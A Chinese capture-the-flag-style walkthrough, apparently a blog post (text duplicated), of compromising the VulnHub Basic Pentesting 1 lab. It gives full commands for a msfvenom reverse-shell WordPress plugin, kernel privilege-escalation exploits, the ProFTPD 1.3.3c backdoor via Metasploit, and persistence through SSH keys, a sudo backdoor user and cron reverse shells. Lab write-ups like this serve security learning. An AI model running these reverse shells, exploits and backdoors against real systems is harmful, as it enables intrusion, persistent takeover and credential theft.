靶场链接https://www.vulnhub.com/entry/basic-pentesting-1,216/目标环境192.168.198.145 (Ubuntu 16.04.3 LTS, 内核 4.10.0-28-generic)攻击机Kali Linux (IP: 192.168.198.143)1. 信息收集与突破口端口扫描nmap -O -sV 192.168.198.145发现 21(ProFTPD 1.3.3c)、22(SSH)、80(Apache 2.4.18)。目录爆破dirb http://192.168.198.145发现/secret/目录进而定位 WordPress 安装在/secret/下。漏洞扫描AWVS 发现/secret/wp-login.php存在弱口令admin / admin。关键入口WordPress 后台管理权限 → 通过插件上传功能获得代码执行能力。2. 获得初始 Shell (Meterpreter)2.1 生成恶意插件并打包使用 msfvenom 生成 PHP Meterpreter payloadmsfvenom -p php/meterpreter_reverse_tcp LHOST192.168.198.143 LPORT8888 -o shell.php重要WordPress 插件必须包含有效的插件头否则上传时会提示“没有找到有效的插件”。在shell.php的?php后添加如下注释/** * Plugin Name: Evil Shell * Description: Meterpreter reverse shell * Version: 1.0 * Author: Attacker */然后将shell.php打包为evil.zip。2.2 上传插件并激活登录 WordPress 后台 (http://192.168.198.145/secret/wp-login.php) 用户名admin密码admin。导航至Plugins → Add New → Upload Plugin选择evil.zip并安装激活插件。2.3 开启 Metasploit 监听并触发msfconsole -q use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LHOST 192.168.198.143 set LPORT 8888 exploit -j访问http://192.168.198.145/secret/触发 Payload获得 Meterpreter 会话 (用户www-data)。常见卡点 #1插件上传失败现象“该软件包无法安装。没有找到有效的插件。”原因zip 内的 PHP 文件缺少 WordPress 插件头部注释。解决在文件开头添加/** Plugin Name: xxx */格式的注释块。常见卡点 #2端口 8888 已被占用报错Rex::BindFailed: address already in use解决lsof -i :8888找到 PIDkill -9 PID释放端口重新启动 handler。3. 提权过程从 www-data 到 root目标系统Ubuntu 16.04.3内核 4.10.0-28GLIBC 版本 2.23较低。当前用户www-data无 sudo 权限。3.1 自动提权建议失败use post/multi/recon/local_exploit_suggester set SESSION 1 run输出No suggestions available并伴随大量 Ruby 异常。原因当前 Meterpreter 是由php/meterpreter_reverse_tcppayload 建立的功能受限无法执行本地漏洞扫描模块。3.2 尝试 CVE-2017-16995 (eBPF) —— 动态链接版本不兼容在 Kali 上获取漏洞源码并编译searchsploit -m 45010 gcc 45010.c -o exploit upload /root/exploit /tmp/在目标机执行./exploit报错GLIBC_2.34 not found (required by ./exploit)原因分析Kali 系统的 GLIBC 版本较高≥2.34而目标 Ubuntu 16.04 仅支持 GLIBC_2.23动态链接的二进制无法运行。3.3 尝试 Dirty Cow (CVE-2016-5195) —— 缺库及版本问题searchsploit -m 40839 gcc -pthread 40839.c -o dirtycow编译报错undefined reference to crypt添加-lcrypt解决gcc -pthread 40839.c -o dirtycow -lcrypt。上传执行后仍然报错XCRYPT_2.0 not found以及GLIBC_2.33 / 2.34 not found。根本原因同样因为编译环境 glibc/libcrypt 版本过高不兼容老旧目标系统。3.4 最终方案在目标机上直接编译源码检查目标机是否具备编译器which gcc gcc --version返回gcc 5.4.0完美满足条件。操作步骤将45010.c源码上传到目标机的/tmpupload /root/45010.c /tmp/进入目标 shellshell编译并执行cd /tmp gcc 45010.c -o exploit chmod x exploit ./exploit成功获得 root shellid显示uid0(root) gid0(root)。核心经验当预编译二进制因 glibc 版本不兼容而失败时上传源码到目标机本地编译是最可靠的解决方式。也可以使用静态编译gcc -static exploit.c -o exploit生成不依赖外部 glibc 的二进制但文件体积较大。4. 踩坑汇总表问题现象根本原因解决方案WordPress 插件上传失败 / 无效插件PHP 文件缺少插件头注释在?php后添加/** Plugin Name: xxx */拖拽/复制文件到虚拟机失败VMware Tools 功能故障使用python -m http.server或 meterpreteruploadMetasploit 端口绑定失败 (already in use)残留监听进程占用端口lsof -i :port→kill -9 PID目标机无法 wget 下载 exploit网络隔离或防火墙限制使用 meterpreterupload本机文件预编译二进制报 GLIBC 版本错误编译环境 glibc 版本高于目标机上传源码到目标机本地编译或使用gcc -staticDirty Cow 编译报 undefined reference to crypt未链接 libcrypt 库编译时加-lcrypt参数local_exploit_suggester 无结果php meterpreter 会话功能受限手工利用漏洞不依赖自动化模块5. 缺失知识点与延伸补充5.1 环境边界意识meterpreter 与 Kali 本地终端的区别在meterpreter 提示符下只能执行 Metasploit 内置命令upload,download,shell,ps等不能直接运行searchsploit,gcc,wget等系统命令。这些命令必须在 Kali 本地终端中执行。会话管理sessions -i id切换会话background将当前会话放到后台jobs -K杀掉所有任务。5.2 编译与跨环境兼容性动态链接 vs 静态链接动态链接的二进制依赖于目标系统的共享库如 libc.so.6。不同 Linux 发行版或不同版本的 glibc 可能导致“版本未找到”错误。静态链接-static将库直接嵌入可执行文件提高兼容性但体积较大。常见编译参数-pthread链接 POSIX 线程库。-lcrypt链接加密库用于 crypt 函数。-ldl链接动态加载库。-static静态链接。交叉编译若目标机架构不同如 ARM可使用交叉编译工具链。本例为 x86_64 相同架构故直接编译即可。检查目标机编译环境which gcc,gcc --version,dpkg -l | grep build-essential。若无编译器且可联网apt update apt install gcc -y。5.3 漏洞利用资源库使用技巧searchsploit 关键词如searchsploit ubuntu 16.04 localsearchsploit -m 45010复制到当前目录。查看 exploit 源码注释通常头部包含适用版本、编译方法、用法说明。例如 45010.c 明确注明// Ubuntu 16.04 4.8.0-34-generic等。常用提权漏洞编号CVE-2017-16995 (eBPF) → 45010CVE-2016-5195 (Dirty Cow) → 40839 / 40616CVE-2017-1000112 (UFO) → 43127CVE-2021-3156 (sudo 溢出) → 49361CVE-2021-4034 (pwnkit) → 512065.4 提权后的基本后渗透操作信息收集cat /etc/passwd /etc/shadow history ip a ; route -n ps auxf find / -perm -4000 2/dev/null持久化访问添加 root 用户useradd -m -s /bin/bash backdoor; echo backdoor:pass123 | chpasswd; usermod -aG sudo backdoor添加 SSH 公钥echo ssh-rsa AAAA... /root/.ssh/authorized_keys创建定时任务cron反弹 shell。横向移动使用nmap -sn 192.168.198.0/24扫描同网段存活主机配合proxychains代理扫描内网服务。抓取密码哈希后用 John the Ripper 或 Hashcat 破解。5.5 学习路线与实战思维靶场练习VulnHub 上的 Ubuntu 16.04 靶机如 FristiLeaks, Mr-Robot, Raven反复练习手工提权。理解底层原理ELF 文件格式、动态链接器 ld-linux、环境变量 LD_PRELOAD 劫持、SUID 机制。后渗透框架Metasploit 的 post 模块linux/gather/hashdump,manage/sshkey_persistence和Meterpreter脚本。心理与流程遇到错误逐条阅读输出定位关键词如GLIBC,not found。分步验证每次执行命令后立即ls,pwd,id确认状态。不要只依赖自动化工具手工利用漏洞如本地编译往往是最终王牌。6. 总结本次渗透测试成功利用了 WordPress 弱口令进入后台上传构造的恶意插件获得www-data初始 Shell。面对自动提权模块失效、预编译二进制因 glibc 版本不兼容而失败的情况通过将 exploit 源码上传至目标机本地编译最终利用 CVE-2017-16995 成功提权至 root。整个过程凸显了环境适配能力和手工漏洞利用的重要性。今后打算加强对以下方面的练习Linux 编译与库依赖、漏洞利用代码的搜索与解读、后渗透信息收集与持久化。反复在靶场中模拟类似场景将逐步形成独立的渗透思维。后续渗透补充IP 变更导致会话中断ProFTPD 后门紧急接管前面通过 WordPress 弱口令上传插件获得 Meterpreter 会话并成功利用 CVE-2017-16995 提权至 root。但随后靶机 IP 从192.168.198.145变更为192.168.198.146导致原有会话断开SSH 公钥注入尚未完成。后利用利用备用路径ProFTPD 1.3.3c 后门重新获得 root shell 并建立持久化 SSH 后门。1. 会话中断原因分析靶机使用 DHCP 动态获取 IP重启或网络重置后 IP 发生变化。Meterpreter 会话基于 TCP 连接IP 变更后连接自然失效。当时尚未完成 SSH 公钥注入因此无法直接 SSH 登录。WordPress 入口出现空白页可能 PHP 错误或插件被删无法快速恢复 Meterpreter。教训拿到 root 后第一件事应当是建立持久化后门SSH 公钥、计划任务等避免因 IP 变化或进程死亡而失去控制权。2. 备选路径ProFTPD 1.3.3c 后门漏洞 (CVE-2010-4221)2.1 漏洞回顾在最初的信息收集阶段nmap 扫描结果已经显示目标开放 21 端口且服务版本为ProFTPD 1.3.3c21/tcp open ftp ProFTPD 1.3.3c该版本曾在官方源码中被植入后门攻击者无需认证只需发送特定命令HELP ACIDBITCHEZ即可获得远程 root shell。2.2 利用步骤使用 Metasploit 的专用模块msf6 use exploit/unix/ftp/proftpd_133c_backdoor msf6 exploit(unix/ftp/proftpd_133c_backdoor) set RHOST 192.168.198.146 RHOST 192.168.198.146 msf6 exploit(unix/ftp/proftpd_133c_backdoor) set PAYLOAD cmd/unix/reverse_perl PAYLOAD cmd/unix/reverse_perl msf6 exploit(unix/ftp/proftpd_133c_backdoor) set LHOST 192.168.198.143 LHOST 192.168.198.143 msf6 exploit(unix/ftp/proftpd_133c_backdoor) set LPORT 4444 LPORT 4444 msf6 exploit(unix/ftp/proftpd_133c_backdoor) run2.3 执行结果[*] Started reverse TCP handler on 192.168.198.143:4444 [*] 192.168.198.146:21 - Sending Backdoor Command [*] Command shell session 1 opened (192.168.198.143:4444 - 192.168.198.146:41798) at 2026-06-09 01:50:45 -0400成功获得一个root 权限的命令行 shell非 meterpreter。3. 建立 SSH 持久化后门由于当前 shell 不稳定依赖 Metasploit 会话立刻注入 SSH 公钥实现长期稳定访问。3.1 在 Kali 上准备 SSH 公钥# 查看已有公钥 cat ~/.ssh/id_rsa.pub # 若没有生成密钥对 ssh-keygen -t rsa -b 40963.2 在目标 shell 中写入公钥进入 session 1 并执行sessions -i 1 mkdir -p /root/.ssh echo ssh-rsa AAAAB3NzaC1yc2EAAA... /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys3.3 验证 SSH 登录在 Kali 中测试ssh root192.168.198.146首次连接需接受主机密钥之后成功登录Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64) rootvtcsec:~#持久化后门建立完成。即使 IP 再次变化只要扫描到 22 端口即可通过公钥登录。4. 为何不继续使用 WordPress 路径登录页面/secret/wp-login.php变为空白可能 PHP 错误、数据库连接失败或插件被删。原有恶意插件可能已被清理重新上传需要再次登录后台但空白页导致无法操作。ProFTPD 漏洞更直接无需依赖 Web 环境且直接获得 root。5. 关于域名探测在整个渗透过程中未发现目标绑定的域名。访问 IP 即可直接响应无 HTTP 重定向或虚拟主机配置。使用nslookup 192.168.198.146或dig -x 192.168.198.146均未返回 PTR 记录。因此后续所有操作均基于 IP 地址进行。6. 后续操作摘要收集系统信息uname -a、cat /etc/os-release、id确认 root。抓取敏感文件/etc/shadow中 marlinspike 用户的 SHA-512 哈希可用于离线破解。内网探测nmap -sn 192.168.198.0/24扫描同网段存活主机。维持访问除 SSH 公钥外还可添加隐藏用户或定时反弹任务。7. 经验总结关键点教训IP 动态变更持久化后门必须在拿到 root 后立即完成不可拖延。备用路径的重要性信息收集阶段应记录所有服务版本ProFTPD 后门成为救场关键。SSH 公钥注入比 Meterpreter 会话更稳定不依赖特定端口和进程。域名探测若目标无域名直接使用 IP 进行攻击即可不影响后续。补充本次成功利用 ProFTPD 漏洞完全基于最初 nmap 扫描发现的服务信息。这也再次证明渗透测试中全面、准确的端口与版本识别是后续所有攻击的基石。记录时间2026-06-09 | 攻击机Kali 192.168.198.143 | 目标192.168.198.146 (Ubuntu 16.04)完整攻击链路记录 | 关键突破目标机本地编译绕过 glibc 不兼容 | 用于学习和复盘
渗透测试完整历程:从 WordPress 弱口令到 Root 提权
发布时间:2026/6/10 9:28:35
靶场链接https://www.vulnhub.com/entry/basic-pentesting-1,216/目标环境192.168.198.145 (Ubuntu 16.04.3 LTS, 内核 4.10.0-28-generic)攻击机Kali Linux (IP: 192.168.198.143)1. 信息收集与突破口端口扫描nmap -O -sV 192.168.198.145发现 21(ProFTPD 1.3.3c)、22(SSH)、80(Apache 2.4.18)。目录爆破dirb http://192.168.198.145发现/secret/目录进而定位 WordPress 安装在/secret/下。漏洞扫描AWVS 发现/secret/wp-login.php存在弱口令admin / admin。关键入口WordPress 后台管理权限 → 通过插件上传功能获得代码执行能力。2. 获得初始 Shell (Meterpreter)2.1 生成恶意插件并打包使用 msfvenom 生成 PHP Meterpreter payloadmsfvenom -p php/meterpreter_reverse_tcp LHOST192.168.198.143 LPORT8888 -o shell.php重要WordPress 插件必须包含有效的插件头否则上传时会提示“没有找到有效的插件”。在shell.php的?php后添加如下注释/** * Plugin Name: Evil Shell * Description: Meterpreter reverse shell * Version: 1.0 * Author: Attacker */然后将shell.php打包为evil.zip。2.2 上传插件并激活登录 WordPress 后台 (http://192.168.198.145/secret/wp-login.php) 用户名admin密码admin。导航至Plugins → Add New → Upload Plugin选择evil.zip并安装激活插件。2.3 开启 Metasploit 监听并触发msfconsole -q use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LHOST 192.168.198.143 set LPORT 8888 exploit -j访问http://192.168.198.145/secret/触发 Payload获得 Meterpreter 会话 (用户www-data)。常见卡点 #1插件上传失败现象“该软件包无法安装。没有找到有效的插件。”原因zip 内的 PHP 文件缺少 WordPress 插件头部注释。解决在文件开头添加/** Plugin Name: xxx */格式的注释块。常见卡点 #2端口 8888 已被占用报错Rex::BindFailed: address already in use解决lsof -i :8888找到 PIDkill -9 PID释放端口重新启动 handler。3. 提权过程从 www-data 到 root目标系统Ubuntu 16.04.3内核 4.10.0-28GLIBC 版本 2.23较低。当前用户www-data无 sudo 权限。3.1 自动提权建议失败use post/multi/recon/local_exploit_suggester set SESSION 1 run输出No suggestions available并伴随大量 Ruby 异常。原因当前 Meterpreter 是由php/meterpreter_reverse_tcppayload 建立的功能受限无法执行本地漏洞扫描模块。3.2 尝试 CVE-2017-16995 (eBPF) —— 动态链接版本不兼容在 Kali 上获取漏洞源码并编译searchsploit -m 45010 gcc 45010.c -o exploit upload /root/exploit /tmp/在目标机执行./exploit报错GLIBC_2.34 not found (required by ./exploit)原因分析Kali 系统的 GLIBC 版本较高≥2.34而目标 Ubuntu 16.04 仅支持 GLIBC_2.23动态链接的二进制无法运行。3.3 尝试 Dirty Cow (CVE-2016-5195) —— 缺库及版本问题searchsploit -m 40839 gcc -pthread 40839.c -o dirtycow编译报错undefined reference to crypt添加-lcrypt解决gcc -pthread 40839.c -o dirtycow -lcrypt。上传执行后仍然报错XCRYPT_2.0 not found以及GLIBC_2.33 / 2.34 not found。根本原因同样因为编译环境 glibc/libcrypt 版本过高不兼容老旧目标系统。3.4 最终方案在目标机上直接编译源码检查目标机是否具备编译器which gcc gcc --version返回gcc 5.4.0完美满足条件。操作步骤将45010.c源码上传到目标机的/tmpupload /root/45010.c /tmp/进入目标 shellshell编译并执行cd /tmp gcc 45010.c -o exploit chmod x exploit ./exploit成功获得 root shellid显示uid0(root) gid0(root)。核心经验当预编译二进制因 glibc 版本不兼容而失败时上传源码到目标机本地编译是最可靠的解决方式。也可以使用静态编译gcc -static exploit.c -o exploit生成不依赖外部 glibc 的二进制但文件体积较大。4. 踩坑汇总表问题现象根本原因解决方案WordPress 插件上传失败 / 无效插件PHP 文件缺少插件头注释在?php后添加/** Plugin Name: xxx */拖拽/复制文件到虚拟机失败VMware Tools 功能故障使用python -m http.server或 meterpreteruploadMetasploit 端口绑定失败 (already in use)残留监听进程占用端口lsof -i :port→kill -9 PID目标机无法 wget 下载 exploit网络隔离或防火墙限制使用 meterpreterupload本机文件预编译二进制报 GLIBC 版本错误编译环境 glibc 版本高于目标机上传源码到目标机本地编译或使用gcc -staticDirty Cow 编译报 undefined reference to crypt未链接 libcrypt 库编译时加-lcrypt参数local_exploit_suggester 无结果php meterpreter 会话功能受限手工利用漏洞不依赖自动化模块5. 缺失知识点与延伸补充5.1 环境边界意识meterpreter 与 Kali 本地终端的区别在meterpreter 提示符下只能执行 Metasploit 内置命令upload,download,shell,ps等不能直接运行searchsploit,gcc,wget等系统命令。这些命令必须在 Kali 本地终端中执行。会话管理sessions -i id切换会话background将当前会话放到后台jobs -K杀掉所有任务。5.2 编译与跨环境兼容性动态链接 vs 静态链接动态链接的二进制依赖于目标系统的共享库如 libc.so.6。不同 Linux 发行版或不同版本的 glibc 可能导致“版本未找到”错误。静态链接-static将库直接嵌入可执行文件提高兼容性但体积较大。常见编译参数-pthread链接 POSIX 线程库。-lcrypt链接加密库用于 crypt 函数。-ldl链接动态加载库。-static静态链接。交叉编译若目标机架构不同如 ARM可使用交叉编译工具链。本例为 x86_64 相同架构故直接编译即可。检查目标机编译环境which gcc,gcc --version,dpkg -l | grep build-essential。若无编译器且可联网apt update apt install gcc -y。5.3 漏洞利用资源库使用技巧searchsploit 关键词如searchsploit ubuntu 16.04 localsearchsploit -m 45010复制到当前目录。查看 exploit 源码注释通常头部包含适用版本、编译方法、用法说明。例如 45010.c 明确注明// Ubuntu 16.04 4.8.0-34-generic等。常用提权漏洞编号CVE-2017-16995 (eBPF) → 45010CVE-2016-5195 (Dirty Cow) → 40839 / 40616CVE-2017-1000112 (UFO) → 43127CVE-2021-3156 (sudo 溢出) → 49361CVE-2021-4034 (pwnkit) → 512065.4 提权后的基本后渗透操作信息收集cat /etc/passwd /etc/shadow history ip a ; route -n ps auxf find / -perm -4000 2/dev/null持久化访问添加 root 用户useradd -m -s /bin/bash backdoor; echo backdoor:pass123 | chpasswd; usermod -aG sudo backdoor添加 SSH 公钥echo ssh-rsa AAAA... /root/.ssh/authorized_keys创建定时任务cron反弹 shell。横向移动使用nmap -sn 192.168.198.0/24扫描同网段存活主机配合proxychains代理扫描内网服务。抓取密码哈希后用 John the Ripper 或 Hashcat 破解。5.5 学习路线与实战思维靶场练习VulnHub 上的 Ubuntu 16.04 靶机如 FristiLeaks, Mr-Robot, Raven反复练习手工提权。理解底层原理ELF 文件格式、动态链接器 ld-linux、环境变量 LD_PRELOAD 劫持、SUID 机制。后渗透框架Metasploit 的 post 模块linux/gather/hashdump,manage/sshkey_persistence和Meterpreter脚本。心理与流程遇到错误逐条阅读输出定位关键词如GLIBC,not found。分步验证每次执行命令后立即ls,pwd,id确认状态。不要只依赖自动化工具手工利用漏洞如本地编译往往是最终王牌。6. 总结本次渗透测试成功利用了 WordPress 弱口令进入后台上传构造的恶意插件获得www-data初始 Shell。面对自动提权模块失效、预编译二进制因 glibc 版本不兼容而失败的情况通过将 exploit 源码上传至目标机本地编译最终利用 CVE-2017-16995 成功提权至 root。整个过程凸显了环境适配能力和手工漏洞利用的重要性。今后打算加强对以下方面的练习Linux 编译与库依赖、漏洞利用代码的搜索与解读、后渗透信息收集与持久化。反复在靶场中模拟类似场景将逐步形成独立的渗透思维。后续渗透补充IP 变更导致会话中断ProFTPD 后门紧急接管前面通过 WordPress 弱口令上传插件获得 Meterpreter 会话并成功利用 CVE-2017-16995 提权至 root。但随后靶机 IP 从192.168.198.145变更为192.168.198.146导致原有会话断开SSH 公钥注入尚未完成。后利用利用备用路径ProFTPD 1.3.3c 后门重新获得 root shell 并建立持久化 SSH 后门。1. 会话中断原因分析靶机使用 DHCP 动态获取 IP重启或网络重置后 IP 发生变化。Meterpreter 会话基于 TCP 连接IP 变更后连接自然失效。当时尚未完成 SSH 公钥注入因此无法直接 SSH 登录。WordPress 入口出现空白页可能 PHP 错误或插件被删无法快速恢复 Meterpreter。教训拿到 root 后第一件事应当是建立持久化后门SSH 公钥、计划任务等避免因 IP 变化或进程死亡而失去控制权。2. 备选路径ProFTPD 1.3.3c 后门漏洞 (CVE-2010-4221)2.1 漏洞回顾在最初的信息收集阶段nmap 扫描结果已经显示目标开放 21 端口且服务版本为ProFTPD 1.3.3c21/tcp open ftp ProFTPD 1.3.3c该版本曾在官方源码中被植入后门攻击者无需认证只需发送特定命令HELP ACIDBITCHEZ即可获得远程 root shell。2.2 利用步骤使用 Metasploit 的专用模块msf6 use exploit/unix/ftp/proftpd_133c_backdoor msf6 exploit(unix/ftp/proftpd_133c_backdoor) set RHOST 192.168.198.146 RHOST 192.168.198.146 msf6 exploit(unix/ftp/proftpd_133c_backdoor) set PAYLOAD cmd/unix/reverse_perl PAYLOAD cmd/unix/reverse_perl msf6 exploit(unix/ftp/proftpd_133c_backdoor) set LHOST 192.168.198.143 LHOST 192.168.198.143 msf6 exploit(unix/ftp/proftpd_133c_backdoor) set LPORT 4444 LPORT 4444 msf6 exploit(unix/ftp/proftpd_133c_backdoor) run2.3 执行结果[*] Started reverse TCP handler on 192.168.198.143:4444 [*] 192.168.198.146:21 - Sending Backdoor Command [*] Command shell session 1 opened (192.168.198.143:4444 - 192.168.198.146:41798) at 2026-06-09 01:50:45 -0400成功获得一个root 权限的命令行 shell非 meterpreter。3. 建立 SSH 持久化后门由于当前 shell 不稳定依赖 Metasploit 会话立刻注入 SSH 公钥实现长期稳定访问。3.1 在 Kali 上准备 SSH 公钥# 查看已有公钥 cat ~/.ssh/id_rsa.pub # 若没有生成密钥对 ssh-keygen -t rsa -b 40963.2 在目标 shell 中写入公钥进入 session 1 并执行sessions -i 1 mkdir -p /root/.ssh echo ssh-rsa AAAAB3NzaC1yc2EAAA... /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys3.3 验证 SSH 登录在 Kali 中测试ssh root192.168.198.146首次连接需接受主机密钥之后成功登录Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64) rootvtcsec:~#持久化后门建立完成。即使 IP 再次变化只要扫描到 22 端口即可通过公钥登录。4. 为何不继续使用 WordPress 路径登录页面/secret/wp-login.php变为空白可能 PHP 错误、数据库连接失败或插件被删。原有恶意插件可能已被清理重新上传需要再次登录后台但空白页导致无法操作。ProFTPD 漏洞更直接无需依赖 Web 环境且直接获得 root。5. 关于域名探测在整个渗透过程中未发现目标绑定的域名。访问 IP 即可直接响应无 HTTP 重定向或虚拟主机配置。使用nslookup 192.168.198.146或dig -x 192.168.198.146均未返回 PTR 记录。因此后续所有操作均基于 IP 地址进行。6. 后续操作摘要收集系统信息uname -a、cat /etc/os-release、id确认 root。抓取敏感文件/etc/shadow中 marlinspike 用户的 SHA-512 哈希可用于离线破解。内网探测nmap -sn 192.168.198.0/24扫描同网段存活主机。维持访问除 SSH 公钥外还可添加隐藏用户或定时反弹任务。7. 经验总结关键点教训IP 动态变更持久化后门必须在拿到 root 后立即完成不可拖延。备用路径的重要性信息收集阶段应记录所有服务版本ProFTPD 后门成为救场关键。SSH 公钥注入比 Meterpreter 会话更稳定不依赖特定端口和进程。域名探测若目标无域名直接使用 IP 进行攻击即可不影响后续。补充本次成功利用 ProFTPD 漏洞完全基于最初 nmap 扫描发现的服务信息。这也再次证明渗透测试中全面、准确的端口与版本识别是后续所有攻击的基石。记录时间2026-06-09 | 攻击机Kali 192.168.198.143 | 目标192.168.198.146 (Ubuntu 16.04)完整攻击链路记录 | 关键突破目标机本地编译绕过 glibc 不兼容 | 用于学习和复盘